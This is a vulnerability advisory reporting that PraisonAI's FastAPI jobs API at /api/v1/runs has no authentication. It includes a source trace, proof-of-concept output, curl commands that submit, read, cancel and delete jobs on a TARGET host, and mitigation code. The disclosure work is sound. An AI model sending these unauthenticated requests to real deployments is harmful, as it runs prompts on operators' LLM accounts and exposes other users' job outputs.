CVE-2026-55539: PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete

Summary PraisonAI's async Jobs API (the FastAPI service in praisonai/jobs/) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value. The server's default bind is 127.0.0.1, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated. This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the legacy Flask server src/praisonai/apiserver.py. The fix added AUTHENABLED/AUTHTOKEN/checkauth() to that file and did not touch the FastAPI jobs module. At the latest commit (9fcac3a, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated.

Technical Detail Source-to-sink trace The FastAPI app includes the jobs router with only CORS middleware — no auth (server.py, createapp): python src/praisonai/praisonai/jobs/server.py def createapp(store=None, executor=None, corsorigins=None) -> FastAPI: app = FastAPI(title="PraisonAI Jobs API", ...) # ... CORS middleware only (allowheaders includes "Authorization", # but CORS is not authentication) ... jobsrouter = createrouter(getstore(), getexecutor()) app.includerouter(jobsrouter) # no dependencies=[Depends(...)] The router (built inside createrouter()) registers every job operation with no auth dependency. The only Header(...) parameter anywhere is the Idempotency-Key, which is deduplication, not authorization: python src/praisonai/praisonai/jobs/router.py router = APIRouter(prefix="/api/v1/runs", tags=["jobs"]) @router.post("", statuscode=202) async def submitjob(request, response, body, idempotencykey=Header(None, alias="Idempotency-Key")): ... @router.get("") async def listjobs(status=None, sessionid=None, page=1, pagesize=20): ... @router.get("/{jobid}") async def getjobstatus(jobid): ... @router.get("/{jobid}/result") async def getjobresult(jobid): ... @router.post("/{jobid}/cancel") async def canceljob(jobid): ... @router.delete("/{jobid}", statuscode=204) async def deletejob(jobid): ... @router.get("/{jobid}/stream") async def streamjob(jobid): ... submitjob() builds a Job from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default praisonai framework runs the attacker prompt against a real agent: python executor.py — submit() -> executejob() -> runagent() -> runpraisonaiagents() agent = Agent(instructions="You are a helpful AI assistant.", output="minimal") result = await asyncio.tothread(agent.start, job.prompt) # attacker-controlled prompt The in-memory store has no owner / principal / user concept. listjobs() returns the whole store filtered only by caller-supplied status/sessionid: python store.py async def listjobs(self, status=None, sessionid=None, limit=20, offset=0): jobs = list(self.jobs.values()) # global; no owner binding if sessionid: jobs = [j for j in jobs if j.sessionid == sessionid] ... A repository-wide grep of jobs/ for Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTHENABLED|checkauth returns only the string "Authorization" inside the CORS allowheaders list. There is no authentication primitive in the module. Distinction from CVE-2026-44338 (critical for triage) | | CVE-2026-44338 (already fixed) | This finding | |---|---|---| | Component | Legacy Flask src/praisonai/apiserver.py | FastAPI praisonai/jobs/ | | Endpoints | GET /agents, POST /chat | /api/v1/runs (submit/list/get/result/cancel/delete/stream) | | Root cause | AUTHENABLED=False, AUTHTOKEN=None, no-op checkauth() | No auth dependency, middleware, or token exists at all | | Status at 4.6.51 | Patched (auth enabled by default, token auto-generated, secrets.comparedigest) | Unpatched | The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach. Trigger conditions 1. Start the server, e.g. python -m uvicorn praisonai.jobs.server:createapp --port 8005 --factory. 2. Make it reachable (--host 0.0.0.0, container publish, reverse proxy, tunnel). 3. Send unauthenticated requests to POST/GET /api/v1/runs, GET /api/v1/runs/{id}, GET /api/v1/runs/{id}/result, POST /api/v1/runs/{id}/cancel, DELETE /api/v1/runs/{id}.

Proof of Concept Verified dynamically by running the real praisonai.jobs router, executor, and store over HTTP via FastAPI TestClient. The only stub is praisonaiagents.Agent (its .start() returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no Authorization header, cookie, or token (the runner asserts Authorization sent: None on each). Unauth POST /api/v1/runs (submit job) POST /api/v1/runs -> HTTP 202 Authorization sent: None body: {"jobid":"runde282b4c3f1c","status":"queued", ...} Unauth GET /api/v1/runs (list every job in shared store) GET /api/v1/runs -> HTTP 200 Authorization sent: None body: {"jobs":[{"jobid":"runde282b4c3f1c","status":"succeeded", ...}], "total":1, ...} Unauth GET /api/v1/runs/{id}/result (read tenant output) GET /api/v1/runs/.../result -> HTTP 200 Authorization sent: None body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...} Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job) t=0.0s status=running ... t=2.0s status=running POST /api/v1/runs/.../cancel -> HTTP 200 Authorization sent: None after cancel status=cancelled Unauth DELETE /api/v1/runs/{id} (delete terminal job) DELETE /api/v1/runs/... -> HTTP 204 Authorization sent: None Each privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.) Equivalent trigger in a fully installed, network-exposed deployment bash python -m uvicorn praisonai.jobs.server:createapp --host 0.0.0.0 --port 8005 --factory curl -sS -X POST http://TARGET:8005/api/v1/runs \ -H 'Content-Type: application/json' \ --data-binary '{"prompt":"attacker controlled job","timeout":3600}' curl -sS http://TARGET:8005/api/v1/runs curl -sS http://TARGET:8005/api/v1/runs/<jobid>/result curl -sS -X POST http://TARGET:8005/api/v1/runs/<jobid>/cancel curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<jobid> Impact - Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to timeout, default 3600s) consuming CPU, memory, queue slots, and provider billing. - Confidentiality: callers list all jobs (GET /api/v1/runs) and read completed results from the shared store — other callers' agent outputs. - Integrity / control: callers cancel running jobs and delete terminal jobs. The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs. Suggested Mitigation Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router: - Add a jobs-server auth token (e.g. PRAISONAIJOBSAPITOKEN) and require it on every /api/v1/runs route via a router-level dependency, so future routes inherit protection by default. - Use constant-time comparison (hmac.comparedigest / secrets.comparedigest). - Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs. - Keep 127.0.0.1 as default; warn or refuse when binding a public interface without auth configured. - Regression tests asserting unauthenticated POST / GET / cancel / delete return 401 when auth is enabled. python import hmac, os from fastapi import Depends, Header, HTTPException def verifyjobstoken(authorization: str | None = Header(None), xapikey: str | None = Header(None, alias="X-API-Key")): expected = os.getenv("PRAISONAIJOBSAPITOKEN") if not expected: raise HTTPException(401, "Jobs API auth is not configured") token = xapikey if authorization and authorization.startswith("Bearer "): token = authorization[7:] if not token or not hmac.comparedigest(token, expected): raise HTTPException(401, "Unauthorized") createrouter(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verifyjobstoken)])